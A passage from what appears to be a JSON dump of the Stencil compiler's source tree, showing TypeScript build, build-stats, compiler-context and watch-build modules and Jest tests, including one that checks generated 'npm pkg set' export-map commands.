rootDir: config.rootDir,\n    srcDir: config.srcDir,\n    timestamp: getBuildTimestamp(),\n    componentGraph,\n  };\n\n  const hmr = generateHmr(config, compilerCtx, buildCtx);\n  if (hmr != null) {\n    buildResults.hmr = hmr;\n  }\n\n  if (isString(buildCtx.hydrateAppFilePath)) {\n    buildResults.hydrateAppFilePath = buildCtx.hydrateAppFilePath;\n  }\n\n  compilerCtx.lastBuildResults = Object.assign({}, buildResults as any);\n\n  return buildResults;\n};\n"
  },
  {
    "path": "src/compiler/build/build-stats.ts",
    "content": "import { byteSize, isOutputTargetStats, result, sortBy } from '@utils';\n\nimport type * as d from '../../declarations';\n\n/**\n * Generates the Build Stats from the buildCtx. Writes any files to the file system.\n * @param config the project build configuration\n * @param buildCtx An instance of the build which holds the details about the build\n * @returns CompilerBuildStats or an Object including diagnostics.\n */\nexport function generateBuildStats(\n  config: d.ValidatedConfig,\n  buildCtx: d.BuildCtx,\n): result.Result<d.CompilerBuildStats, { diagnostics: d.Diagnostic[] }> {\n  // TODO(STENCIL-461): Investigate making this return only a single type\n  const buildResults = buildCtx.buildResults;\n\n  try {\n    if (buildResults.hasError) {\n      return result.err({\n        diagnostics: buildResults.diagnostics,\n      });\n    } else {\n      const stats: d.CompilerBuildStats = {\n        timestamp: buildResults.timestamp,\n        compiler: {\n          name: config.sys.name,\n          version: config.sys.version,\n        },\n        app: {\n          namespace: config.namespace,\n          fsNamespace: config.fsNamespace,\n          components: Object.keys(buildResults.componentGraph ?? {}).length,\n          entries: Object.keys(buildResults.componentGraph ?? {}).length,\n          bundles: buildResults.outputs.reduce((total, en) => total + en.files.length, 0),\n          outputs: getAppOutputs(config, buildResults),\n        },\n        options: {\n          minifyJs: !!config.minifyJs,\n          minifyCss: !!config.minifyCss,\n          hashFileNames: !!config.hashFileNames,\n          hashedFileNameLength: config.hashedFileNameLength,\n          buildEs5: !!config.buildEs5,\n        },\n        formats: {\n          esmBrowser: sanitizeBundlesForStats(buildCtx.esmBrowserComponentBundle),\n          esm: sanitizeBundlesForStats(buildCtx.esmComponentBundle),\n          es5: sanitizeBundlesForStats(buildCtx.es5ComponentBundle),\n          system: sanitizeBundlesForStats(buildCtx.systemComponentBundle),\n          commonjs: sanitizeBundlesForStats(buildCtx.commonJsComponentBundle),\n        },\n        components: getComponentsFileMap(config, buildCtx),\n        entries: buildCtx.entryModules,\n        componentGraph: buildResults.componentGraph ?? {},\n        sourceGraph: getSourceGraph(config, buildCtx),\n        rollupResults: buildCtx.rollupResults ?? { modules: [] },\n        collections: getCollections(config, buildCtx),\n      };\n      return result.ok(stats);\n    }\n  } catch (e: unknown) {\n    const diagnostic: d.Diagnostic = {\n      level: `error`,\n      lines: [],\n      messageText: `Generate Build Stats Error: ` + e,\n      type: `build`,\n    };\n    return result.err({\n      diagnostics: [diagnostic],\n    });\n  }\n}\n\n/**\n * Writes the files from the stats config to the file system\n * @param config the project build configuration\n * @param data the information to write out to disk (as specified by each stats output target specified in the provided\n * config)\n */\nexport async function writeBuildStats(\n  config: d.ValidatedConfig,\n  data: result.Result<d.CompilerBuildStats, { diagnostics: d.Diagnostic[] }>,\n): Promise<void> {\n  const statsTargets = config.outputTargets.filter(isOutputTargetStats);\n\n  await result.map(data, async (compilerBuildStats) => {\n    await Promise.all(\n      statsTargets.map(async (outputTarget) => {\n        if (outputTarget.file) {\n          const result = await config.sys.writeFile(outputTarget.file, JSON.stringify(compilerBuildStats, null, 2));\n\n          if (result.error) {\n            config.logger.warn([`Stats failed to write file to ${outputTarget.file}`]);\n          }\n        }\n      }),\n    );\n  });\n}\n\nfunction sanitizeBundlesForStats(bundleArray: ReadonlyArray<d.BundleModule>): ReadonlyArray<d.CompilerBuildStatBundle> {\n  if (!bundleArray) {\n    return [];\n  }\n\n  return bundleArray.map((bundle) => {\n    return {\n      key: bundle.entryKey,\n      components: bundle.cmps.map((c) => c.tagName),\n      bundleId: bundle.output.bundleId,\n      fileName: bundle.output.fileName,\n      imports: bundle.rollupResult.imports,\n      // code: bundle.rollupResult.code, // (use this to debug)\n      // Currently, this number is inaccurate vs what seems to be on disk.\n      originalByteSize: byteSize(bundle.rollupResult.code),\n    };\n  });\n}\n\nfunction getSourceGraph(config: d.ValidatedConfig, buildCtx: d.BuildCtx) {\n  const sourceGraph: d.BuildSourceGraph = {};\n\n  sortBy(buildCtx.moduleFiles, (m) => m.sourceFilePath).forEach((moduleFile) => {\n    const key = relativePath(config, moduleFile.sourceFilePath);\n    sourceGraph[key] = moduleFile.localImports.map((localImport) => relativePath(config, localImport)).sort();\n  });\n\n  return sourceGraph;\n}\n\nfunction getAppOutputs(config: d.ValidatedConfig, buildResults: d.CompilerBuildResults) {\n  return buildResults.outputs.map((output) => {\n    return {\n      name: output.type,\n      files: output.files.length,\n      generatedFiles: output.files.map((file) => relativePath(config, file)),\n    };\n  });\n}\n\nfunction getComponentsFileMap(config: d.ValidatedConfig, buildCtx: d.BuildCtx) {\n  return buildCtx.components.map((component) => {\n    return {\n      tag: component.tagName,\n      path: relativePath(config, component.jsFilePath),\n      source: relativePath(config, component.sourceFilePath),\n      elementRef: component.elementRef,\n      componentClassName: component.componentClassName,\n      assetsDirs: component.assetsDirs,\n      dependencies: component.dependencies,\n      dependents: component.dependents,\n      directDependencies: component.directDependencies,\n      directDependents: component.directDependents,\n      docs: component.docs,\n      encapsulation: component.encapsulation,\n      excludeFromCollection: component.excludeFromCollection,\n      events: component.events,\n      internal: component.internal,\n      listeners: component.listeners,\n      methods: component.methods,\n      potentialCmpRefs: component.potentialCmpRefs,\n      properties: component.properties,\n      shadowDelegatesFocus: component.shadowDelegatesFocus,\n      states: component.states,\n    };\n  });\n}\n\nfunction getCollections(config: d.ValidatedConfig, buildCtx: d.BuildCtx): d.CompilerBuildStatCollection[] {\n  return buildCtx.collections\n    .map((c) => {\n      return {\n        name: c.collectionName,\n        source: relativePath(config, c.moduleDir),\n        tags: c.moduleFiles.map((m) => m.cmps.map((cmp: d.ComponentCompilerMeta) => cmp.tagName)).sort(),\n      };\n    })\n    .sort((a, b) => {\n      if (a.name < b.name) return -1;\n      if (a.name > b.name) return 1;\n      return 0;\n    });\n}\n\nfunction relativePath(config: d.ValidatedConfig, file: string) {\n  return config.sys.normalizePath(config.sys.platformPath.relative(config.rootDir, file));\n}\n"
  },
  {
    "path": "src/compiler/build/build.ts",
    "content": "import { createDocument } from '@stencil/core/mock-doc';\nimport { catchError, isString, readPackageJson } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { generateOutputTargets } from '../output-targets';\nimport { emptyOutputTargets } from '../output-targets/empty-dir';\nimport { generateGlobalStyles } from '../style/global-styles';\nimport { runTsProgram, validateTypesAfterGeneration } from '../transpile/run-program';\nimport { buildAbort, buildFinish } from './build-finish';\nimport { writeBuild } from './write-build';\n\nexport const build = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  tsBuilder: ts.BuilderProgram,\n) => {\n  try {\n    // reset process.cwd() for 3rd-party plugins\n    process.chdir(config.rootDir);\n\n    // empty the directories on the first build\n    await emptyOutputTargets(config, compilerCtx, buildCtx);\n    if (buildCtx.hasError) return buildAbort(buildCtx);\n\n    if (config.srcIndexHtml) {\n      const indexSrcHtml = await compilerCtx.fs.readFile(config.srcIndexHtml);\n      if (isString(indexSrcHtml)) {\n        buildCtx.indexDoc = createDocument(indexSrcHtml);\n      }\n    }\n\n    await readPackageJson(config, compilerCtx, buildCtx);\n    if (buildCtx.hasError) return buildAbort(buildCtx);\n\n    // run typescript program\n    const tsTimeSpan = buildCtx.createTimeSpan('transpile started');\n    const emittedDts = await runTsProgram(config, compilerCtx, buildCtx, tsBuilder);\n    tsTimeSpan.finish('transpile finished');\n    if (buildCtx.hasError) return buildAbort(buildCtx);\n\n    // generate types and validate AFTER components.d.ts is written\n    const { hasTypesChanged, needsRebuild } = await validateTypesAfterGeneration(\n      config,\n      compilerCtx,\n      buildCtx,\n      tsBuilder,\n      emittedDts,\n    );\n    if (buildCtx.hasError) return buildAbort(buildCtx);\n\n    if (needsRebuild || (config.watch && hasTypesChanged)) {\n      // Abort and signal that a rebuild is needed:\n      // - needsRebuild: components.d.ts was just generated, need fresh TS program\n      // - watch mode with types changed: let watch trigger rebuild\n      return null;\n    }\n\n    // preprocess and generate styles before any outputTarget starts\n    buildCtx.stylesPromise = generateGlobalStyles(config, compilerCtx, buildCtx);\n    if (buildCtx.hasError) return buildAbort(buildCtx);\n\n    // create outputs\n    await generateOutputTargets(config, compilerCtx, buildCtx);\n    if (buildCtx.hasError) return buildAbort(buildCtx);\n\n    // write outputs\n    await buildCtx.stylesPromise;\n    await writeBuild(config, compilerCtx, buildCtx);\n  } catch (e: any) {\n    // ¯\\_(ツ)_/¯\n    catchError(buildCtx.diagnostics, e);\n  }\n\n  // TODO\n  // clear changed files\n  compilerCtx.changedFiles.clear();\n\n  // return what we've learned today\n  return buildFinish(buildCtx);\n};\n"
  },
  {
    "path": "src/compiler/build/compiler-ctx.ts",
    "content": "import { join, noop, normalizePath } from '@utils';\nimport { basename, dirname, extname } from 'path';\n\nimport type * as d from '../../declarations';\nimport { buildEvents } from '../events';\nimport { InMemoryFileSystem } from '../sys/in-memory-fs';\n\n/**\n * The CompilerCtx is a persistent object that's reused throughout\n * all builds and rebuilds. The data within this object is used\n * for in-memory caching, and can be reset, but the object itself\n * is always the same.\n */\nexport class CompilerContext implements d.CompilerCtx {\n  version = 2;\n  activeBuildId = -1;\n  activeFilesAdded: string[] = [];\n  activeFilesDeleted: string[] = [];\n  activeFilesUpdated: string[] = [];\n  activeDirsAdded: string[] = [];\n  activeDirsDeleted: string[] = [];\n  addWatchDir: (path: string) => void = noop;\n  addWatchFile: (path: string) => void = noop;\n  cache: d.Cache;\n  cssModuleImports = new Map<string, string[]>();\n  changedFiles = new Set<string>();\n  changedModules = new Set<string>();\n  collections: d.CollectionCompilerMeta[] = [];\n  compilerOptions: any = null;\n  events = buildEvents();\n  fs: InMemoryFileSystem;\n  hasSuccessfulBuild = false;\n  isActivelyBuilding = false;\n  lastBuildResults: d.CompilerBuildResults = null;\n  moduleMap: d.ModuleMap = new Map();\n  nodeMap = new WeakMap();\n  resolvedCollections = new Set<string>();\n  rollupCache = new Map();\n  rollupCacheHydrate: any = null;\n  rollupCacheLazy: any = null;\n  rollupCacheNative: any = null;\n  cachedGlobalStyle: string;\n  styleModeNames = new Set<string>();\n  worker: d.CompilerWorkerContext = null;\n\n  reset() {\n    this.cache.clear();\n    this.cssModuleImports.clear();\n    this.cachedGlobalStyle = null;\n    this.collections.length = 0;\n    this.compilerOptions = null;\n    this.hasSuccessfulBuild = false;\n    this.rollupCacheHydrate = null;\n    this.rollupCacheLazy = null;\n    this.rollupCacheNative = null;\n    this.moduleMap.clear();\n    this.resolvedCollections.clear();\n\n    if (this.fs != null) {\n      this.fs.clearCache();\n    }\n  }\n}\n\n/**\n * Get a {@link d.Module} from the current compiler context which corresponds\n * to a supplied source file path. If a module record corresponding to the\n * supplied path is not yet allocated, create one, save it in the compiler\n * context, and then return the module record.\n *\n * @param compilerCtx the current compiler context\n * @param sourceFilePath the path for which we want a module record\n * @returns a module record corresponding to the supplied source file path\n */\nexport const getModuleLegacy = (compilerCtx: d.CompilerCtx, sourceFilePath: string): d.Module => {\n  sourceFilePath = normalizePath(sourceFilePath);\n\n  const moduleFile = compilerCtx.moduleMap.get(sourceFilePath);\n  if (moduleFile != null) {\n    return moduleFile;\n  } else {\n    const sourceFileDir = dirname(sourceFilePath);\n    const sourceFileExt = extname(sourceFilePath);\n    const sourceFileName = basename(sourceFilePath, sourceFileExt);\n    const jsFilePath = join(sourceFileDir, sourceFileName + '.js');\n\n    const moduleFile: d.Module = {\n      sourceFilePath: sourceFilePath,\n      jsFilePath: jsFilePath,\n      cmps: [],\n      isExtended: false,\n      isMixin: false,\n      hasExportableMixins: false,\n      coreRuntimeApis: [],\n      outputTargetCoreRuntimeApis: {},\n      collectionName: null,\n      dtsFilePath: null,\n      excludeFromCollection: false,\n      externalImports: [],\n      hasVdomAttribute: false,\n      hasVdomXlink: false,\n      hasVdomClass: false,\n      hasVdomFunctional: false,\n      hasVdomKey: false,\n      hasVdomListener: false,\n      hasVdomPropOrAttr: false,\n      hasVdomRef: false,\n      hasVdomRender: false,\n      hasVdomStyle: false,\n      hasVdomText: false,\n      htmlAttrNames: [],\n      htmlTagNames: [],\n      htmlParts: [],\n      isCollectionDependency: false,\n      isLegacy: false,\n      localImports: [],\n      functionalComponentDeps: [],\n      originalCollectionComponentPath: null,\n      originalImports: [],\n      potentialCmpRefs: [],\n      staticSourceFile: null,\n      staticSourceFileText: '',\n      sourceMapPath: null,\n      sourceMapFileText: null,\n    };\n    compilerCtx.moduleMap.set(sourceFilePath, moduleFile);\n    return moduleFile;\n  }\n};\n\n/**\n * Reset a module record, mutating the supplied object to reset values to\n * defaults.\n *\n * @param moduleFile the module record to reset\n */\nexport const resetModuleLegacy = (moduleFile: d.Module) => {\n  moduleFile.cmps.length = 0;\n  moduleFile.coreRuntimeApis.length = 0;\n  moduleFile.collectionName = null;\n  moduleFile.dtsFilePath = null;\n  moduleFile.excludeFromCollection = false;\n  moduleFile.externalImports.length = 0;\n  moduleFile.isCollectionDependency = false;\n  moduleFile.localImports.length = 0;\n  moduleFile.originalCollectionComponentPath = null;\n  moduleFile.originalImports.length = 0;\n\n  moduleFile.hasVdomXlink = false;\n  moduleFile.hasVdomAttribute = false;\n  moduleFile.hasVdomClass = false;\n  moduleFile.hasVdomFunctional = false;\n  moduleFile.hasVdomKey = false;\n  moduleFile.hasVdomListener = false;\n  moduleFile.hasVdomRef = false;\n  moduleFile.hasVdomRender = false;\n  moduleFile.hasVdomStyle = false;\n  moduleFile.hasVdomText = false;\n  moduleFile.htmlAttrNames.length = 0;\n  moduleFile.htmlTagNames.length = 0;\n  moduleFile.potentialCmpRefs.length = 0;\n};\n"
  },
  {
    "path": "src/compiler/build/full-build.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { createTsBuildProgram } from '../transpile/create-build-program';\nimport { build } from './build';\nimport { BuildContext } from './build-ctx';\n\n/**\n * Build a callable function to perform a full build of a Stencil project\n * @param config a Stencil configuration to apply to a full build of a Stencil project\n * @param compilerCtx the current Stencil compiler context\n * @returns the results of a full build of Stencil\n */\nexport const createFullBuild = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n): Promise<d.CompilerBuildResults> => {\n  return new Promise<d.CompilerBuildResults>((resolve) => {\n    let tsWatchProgram: ts.WatchOfConfigFile<ts.BuilderProgram> = null;\n\n    compilerCtx.events.on('fileUpdate', (p) => {\n      config.logger.debug(`fileUpdate: ${p}`);\n      compilerCtx.fs.clearFileCache(p);\n    });\n\n    /**\n     * A function that kicks off the transpilation process for both the TypeScript and Stencil compilers\n     * @param tsBuilder the manager of the {@link ts.Program} state\n     */\n    const onBuild = async (tsBuilder: ts.BuilderProgram): Promise<void> => {\n      const buildCtx = new BuildContext(config, compilerCtx);\n      buildCtx.isRebuild = false;\n      buildCtx.requiresFullBuild = true;\n      buildCtx.start();\n\n      const result = await build(config, compilerCtx, buildCtx, tsBuilder);\n      if (result !== null) {\n        if (tsWatchProgram) {\n          tsWatchProgram.close();\n          tsWatchProgram = null;\n        }\n        resolve(result);\n      } else {\n        // Build returned null, indicating a rebuild is needed (e.g., components.d.ts was just generated).\n        // Close the current TS program and create a fresh one that includes components.d.ts.\n        if (tsWatchProgram) {\n          tsWatchProgram.close();\n          tsWatchProgram = null;\n        }\n        config.logger.debug('Rebuilding with fresh TypeScript program after components.d.ts generation');\n        createTsBuildProgram(config, onBuild).then((program) => {\n          tsWatchProgram = program;\n        });\n      }\n    };\n\n    createTsBuildProgram(config, onBuild).then((program) => {\n      tsWatchProgram = program;\n    });\n  });\n};\n"
  },
  {
    "path": "src/compiler/build/test/build-stats.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockBuildCtx, mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing';\nimport { result } from '@utils';\n\nimport { generateBuildResults } from '../build-results';\nimport { generateBuildStats } from '../build-stats';\n\ndescribe('generateBuildStats', () => {\n  let config: d.ValidatedConfig;\n  let compilerCtx: d.CompilerCtx;\n  let buildCtx: d.BuildCtx;\n\n  beforeEach(() => {\n    config = mockValidatedConfig();\n    compilerCtx = mockCompilerCtx(config);\n    buildCtx = mockBuildCtx(config, compilerCtx);\n  });\n\n  it('should return a structured json object', async () => {\n    buildCtx.buildResults = generateBuildResults(config, compilerCtx, buildCtx);\n\n    const compilerBuildStats = result.unwrap(generateBuildStats(config, buildCtx));\n\n    if (compilerBuildStats.hasOwnProperty('timestamp')) {\n      delete compilerBuildStats.timestamp;\n    }\n\n    if (compilerBuildStats.hasOwnProperty('compiler') && compilerBuildStats.compiler.hasOwnProperty('version')) {\n      delete compilerBuildStats.compiler.version;\n    }\n\n    expect(compilerBuildStats).toStrictEqual({\n      app: { bundles: 0, components: 0, entries: 0, fsNamespace: 'testing', namespace: 'Testing', outputs: [] },\n      collections: [],\n      compiler: { name: 'in-memory' },\n      componentGraph: {},\n      components: [],\n      entries: [],\n      formats: { commonjs: [], es5: [], esm: [], esmBrowser: [], system: [] },\n      options: {\n        buildEs5: false,\n        hashFileNames: false,\n        hashedFileNameLength: 8,\n        minifyCss: false,\n        minifyJs: false,\n      },\n      rollupResults: {\n        modules: [],\n      },\n      sourceGraph: {},\n    });\n  });\n\n  it('should return diagnostics if an error is hit', async () => {\n    buildCtx.buildResults = generateBuildResults(config, compilerCtx, buildCtx);\n\n    buildCtx.buildResults.hasError = true;\n    const diagnostic: d.Diagnostic = {\n      level: 'error',\n      type: 'horrible',\n      messageText: 'the worst error _possible_ has just occurred',\n      lines: [],\n    };\n    buildCtx.buildResults.diagnostics = [diagnostic];\n    const diagnostics = result.unwrapErr(generateBuildStats(config, buildCtx));\n\n    expect(diagnostics).toStrictEqual({\n      diagnostics: [diagnostic],\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/build/test/write-export-maps.spec.ts",
    "content": "import { mockBuildCtx, mockValidatedConfig } from '@stencil/core/testing';\nimport childProcess from 'child_process';\n\nimport * as d from '../../../declarations';\nimport { stubComponentCompilerMeta } from '../../types/tests/ComponentCompilerMeta.stub';\nimport { writeExportMaps } from '../write-export-maps';\n\ndescribe('writeExportMaps', () => {\n  let config: d.ValidatedConfig;\n  let buildCtx: d.BuildCtx;\n  let execSyncSpy: jest.SpyInstance;\n\n  beforeEach(() => {\n    config = mockValidatedConfig();\n    buildCtx = mockBuildCtx(config);\n\n    execSyncSpy = jest.spyOn(childProcess, 'execSync').mockImplementation(() => '');\n  });\n\n  afterEach(() => {\n    jest.clearAllMocks();\n  });\n\n  it('should not generate any exports if there are no output targets', () => {\n    writeExportMaps(config, buildCtx);\n\n    expect(execSyncSpy).toHaveBeenCalledTimes(0);\n  });\n\n  it('should generate the default exports for the lazy build if present', () => {\n    config.outputTargets = [\n      {\n        type: 'dist',\n        dir: '/dist',\n        typesDir: '/dist/types',\n      },\n    ];\n\n    writeExportMaps(config, buildCtx);\n\n    expect(execSyncSpy).toHaveBeenCalledTimes(3);\n    expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set \"exports[.][import]\"=\"./dist/index.js\"`);\n    expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set \"exports[.][require]\"=\"./dist/index.cjs.js\"`);\n    expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set \"exports[.][types]\"=\"./dist/types/index.d.ts\"`);\n  });\n\n  it('should generate the default exports for the custom elements build if present', () => {\n    config.outputTargets = [\n      {\n        type: 'dist-custom-elements',\n        dir: '/dist/components',\n        generateTypeDeclarations: true,\n      },\n    ];\n\n    writeExportMaps(config, buildCtx);\n\n    expect(execSyncSpy).toHaveBeenCalledTimes(2);\n    expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set \"exports[.][import]\"=\"./dist/components/index.js\"`);\n    expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set \"exports[.][types]\"=\"./dist/components/index.d.ts\"`);\n  });\n\n  it('should generate the lazy loader exports if the output target is present', () => {\n    config.rootDir = '/';\n    config.outputTargets.push({\n      type: 'dist-lazy-loader',\n      dir: '/dist/lazy-loader',\n      empty: true,\n      esmDir: '/dist/esm',\n      cjsDir: '/dist/cjs',\n      componentDts: '/dist/components.d.ts',\n    });\n\n    writeExportMaps(config, buildCtx);\n\n    expect(execSyncSpy).toHaveBeenCalledTimes(3);\n    expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set \"exports[./loader][import]\"=\"./dist/lazy-loader/index.js\"`);\n    expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set \"exports[./loader][require]\"=\"./dist/lazy-loader/index.cjs\"`);\n    expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set \"exports[./loader][types]\"=\"./dist/lazy-loader/index.d.ts\"`);\n  });\n\n  it('should generate the custom elements exports if the output target is present', () => {\n    config.rootDir = '/';\n    config.outputTargets.push({\n      type: 'dist-custom-elements',\n      dir: '/dist/components',\n      generateTypeDeclarations: true,\n    });\n\n    buildCtx.components = [\n      stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n      }),\n    ];\n\n    writeExportMaps(config, buildCtx);\n\n    expect(execSyncSpy).toHaveBeenCalledTimes(4);\n    expect(execSyncSpy).toHaveBeenCalledWith(\n      `npm pkg set \"exports[./my-component][import]\"=\"./dist/components/my-component.js\"`,\n    );\n    expect(execSyncSpy).toHaveBeenCalledWith(\n      `npm pkg set \"exports[./my-component][types]\"=\"./dist/components/my-component.d.ts\"`,\n    );\n  });\n\n  it('should generate the custom elements exports for multiple components', () => {\n    config.rootDir = '/';\n    config.outputTargets.push({\n      type: 'dist-custom-elements',\n      dir: '/dist/components',\n      generateTypeDeclarations: true,\n    });\n\n    buildCtx.components = [\n      stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n      }),\n      stubComponentCompilerMeta({\n        tagName: 'my-other-component',\n        componentClassName: 'MyOtherComponent',\n      }),\n    ];\n\n    writeExportMaps(config, buildCtx);\n\n    expect(execSyncSpy).toHaveBeenCalledTimes(6);\n    expect(execSyncSpy).toHaveBeenCalledWith(\n      `npm pkg set \"exports[./my-component][import]\"=\"./dist/components/my-component.js\"`,\n    );\n    expect(execSyncSpy).toHaveBeenCalledWith(\n      `npm pkg set \"exports[./my-component][types]\"=\"./dist/components/my-component.d.ts\"`,\n    );\n    expect(execSyncSpy).toHaveBeenCalledWith(\n      `npm pkg set \"exports[./my-other-component][import]\"=\"./dist/components/my-other-component.js\"`,\n    );\n    expect(execSyncSpy).toHaveBeenCalledWith(\n      `npm pkg set \"exports[./my-other-component][types]\"=\"./dist/components/my-other-component.d.ts\"`,\n    );\n  });\n});\n"
  },
  {
    "path": "src/compiler/build/validate-files.ts",
    "content": "import type * as d from '../../declarations';\nimport { validateManifestJson } from '../html/validate-manifest-json';\nimport { validateBuildPackageJson } from '../types/validate-build-package-json';\n\n/**\n * Validate the existence and contents of certain files that were generated after writing the results of the build to\n * disk\n * @param config the Stencil configuration used for the build\n * @param compilerCtx the compiler context associated with the build\n * @param buildCtx the build context associated with the current build\n * @returns an array containing empty-Promise results\n */\nexport const validateBuildFiles = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n): Promise<(void | void[] | null)[]> | null => {\n  if (buildCtx.hasError) {\n    return null;\n  }\n\n  return Promise.all([\n    validateBuildPackageJson(config, compilerCtx, buildCtx),\n    validateManifestJson(config, compilerCtx, buildCtx),\n  ]);\n};\n"
  },
  {
    "path": "src/compiler/build/watch-build.ts",
    "content": "import { isString, resolve } from '@utils';\nimport { dirname } from 'path';\nimport type ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { compilerRequest } from '../bundle/dev-module';\nimport {\n  filesChanged,\n  hasHtmlChanges,\n  hasScriptChanges,\n  hasStyleChanges,\n  isWatchIgnorePath,\n  scriptsAdded,\n  scriptsDeleted,\n} from '../fs-watch/fs-watch-rebuild';\nimport { hasServiceWorkerChanges } from '../service-worker/generate-sw';\nimport { createTsWatchProgram } from '../transpile/create-watch-program';\nimport { build } from './build';\nimport { BuildContext } from './build-ctx';\n\n/**\n * This method contains context and functionality for a TS watch build. This is called via\n * the compiler when running a build in watch mode (i.e. `stencil build --watch`).\n *\n * In essence, this method tracks all files that change while the program is running to trigger\n * a rebuild of a Stencil project using a {@link ts.EmitAndSemanticDiagnosticsBuilderProgram}.\n *\n * @param config The validated config for the Stencil project\n * @param compilerCtx The compiler context for the project\n * @returns An object containing helper methods for the dev-server's watch program\n */\nexport const createWatchBuild = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n): Promise<d.CompilerWatcher> => {\n  let isRebuild = false;\n  let tsWatchProgram: {\n    program: ts.WatchOfConfigFile<ts.EmitAndSemanticDiagnosticsBuilderProgram>;\n    rebuild: () => void;\n  };\n  let closeResolver: Function;\n  const watchWaiter = new Promise<d.WatcherCloseResults>((resolve) => (closeResolver = resolve));\n\n  const dirsAdded = new Set<string>();\n  const dirsDeleted = new Set<string>();\n  const filesAdded = new Set<string>();\n  const filesUpdated = new Set<string>();\n  const filesDeleted = new Set<string>();\n\n  /**\n   * A callback function that is invoked to trigger a rebuild of a Stencil project. This will\n   * update the build context with the associated file changes (these are used downstream to trigger\n   * HMR) and then calls the `build()` function to execute the Stencil build.\n   *\n   * @param tsBuilder A {@link ts.BuilderProgram} to be passed to the `build()` function.\n   */\n  const onBuild = async (tsBuilder: ts.BuilderProgram) => {\n    const buildCtx = new BuildContext(config, compilerCtx);\n    buildCtx.isRebuild = isRebuild;\n    buildCtx.requiresFullBuild = !isRebuild;\n    buildCtx.dirsAdded = Array.from(dirsAdded.keys()).sort();\n    buildCtx.dirsDeleted = Array.from(dirsDeleted.keys()).sort();\n    buildCtx.filesAdded = Array.from(filesAdded.keys()).sort();\n    buildCtx.filesUpdated = Array.from(filesUpdated.keys()).sort();\n    buildCtx.filesDeleted = Array.from(filesDeleted.keys()).sort();\n    buildCtx.filesChanged = filesChanged(buildCtx);\n    buildCtx.scriptsAdded = scriptsAdded(buildCtx);\n    buildCtx.scriptsDeleted = scriptsDeleted(buildCtx);\n    buildCtx.hasScriptChanges = hasScriptChanges(buildCtx);\n    buildCtx.hasStyleChanges = hasStyleChanges(buildCtx);\n    buildCtx.hasHtmlChanges = hasHtmlChanges(config, buildCtx);\n    buildCtx.hasServiceWorkerChanges = hasServiceWorkerChanges(config, buildCtx);\n\n    if (config.flags.debug) {\n      config.logger.debug(`WATCH_BUILD::watchBuild::onBuild filesAdded: ${formatFilesForDebug(buildCtx.filesAdded)}`);\n      config.logger.debug(\n        `WATCH_BUILD::watchBuild::onBuild filesDeleted: ${formatFilesForDebug(buildCtx.filesDeleted)}`,\n      );\n      config.logger.debug(\n        `WATCH_BUILD::watchBuild::onBuild filesUpdated: ${formatFilesForDebug(buildCtx.filesUpdated)}`,\n      );\n      config.logger.debug(\n        `WATCH_BUILD::watchBuild::onBuild filesWritten: ${formatFilesForDebug(buildCtx.filesWritten)}`,\n      );\n    }\n\n    // Make sure all files in the module map are still in the fs\n    // Otherwise, we can run into build errors because the compiler can think\n    // there are two component files with the same tag name\n    Array.from(compilerCtx.moduleMap.keys()).forEach((key) => {\n      if (filesUpdated.has(key) || filesDeleted.has(key)) {\n        // Check if the file exists in the fs\n        const fileExists = compilerCtx.fs.accessSync(key);\n        if (!fileExists) {\n          compilerCtx.moduleMap.delete(key);\n        }\n      }\n    });\n\n    // Make sure all added/updated files are watched\n    // We need to check both added/updates since the TS watch program behaves kinda weird\n    // and doesn't always handle file renames the same way\n    new Set([...filesUpdated, ...filesAdded]).forEach((filePath) => {\n      compilerCtx.addWatchFile(filePath);\n    });\n\n    dirsAdded.clear();\n    dirsDeleted.clear();\n    filesAdded.clear();\n    filesUpdated.clear();\n    filesDeleted.clear();\n\n    emitFsChange(compilerCtx, buildCtx);\n\n    buildCtx.start();\n\n    // Rebuild the project\n    const result = await build(config, compilerCtx, buildCtx, tsBuilder);\n\n    if (result && !result.hasError) {\n      isRebuild = true;\n    }\n  };\n\n  /**\n   * Utility method for formatting a debug message that must either list a number of files, or the word 'none' if the\n   * provided list is empty\n   *\n   * @param files a list of files, the list may be empty\n   * @returns the provided list if it is not empty. otherwise, return the word 'none'\n   */\n  const formatFilesForDebug = (files: ReadonlyArray<string>): string => {\n    /**\n     * In the created message, it's important that there's no whitespace prior to the file name.\n     * Stencil's logger will split messages by whitespace according to the width of the terminal window.\n     * Since file names can be fully qualified paths (and therefore quite long), putting whitespace between a '-' and\n     * the path can lead to formatted messages where the '-' is on its own line\n     */\n    return files.length > 0 ? files.map((filename: string) => `-${filename}`).join('\\n') : 'none';\n  };\n\n  /**\n   * Utility method to start/construct the watch program. This will mark\n   * all relevant files to be watched and then call a method to build the TS\n   * program responsible for building the project.\n   *\n   * @returns A promise of the result of creating the watch program.\n   */\n  const start = async () => {\n    /**\n     * Stencil watches the following directories for changes:\n     */\n    await Promise.all([\n      /**\n       * the `srcDir` directory, e.g. component files\n       */\n      watchFiles(compilerCtx, config.srcDir),\n      /**\n       * the root directory, e.g. `stencil.config.ts`\n       */\n      watchFiles(compilerCtx, config.rootDir, {\n        recursive: false,\n      }),\n      /**\n       * the external directories, defined in `watchExternalDirs`, e.g. `node_modules`\n       */\n      ...(config.watchExternalDirs || []).map((dir) => watchFiles(compilerCtx, dir)),\n    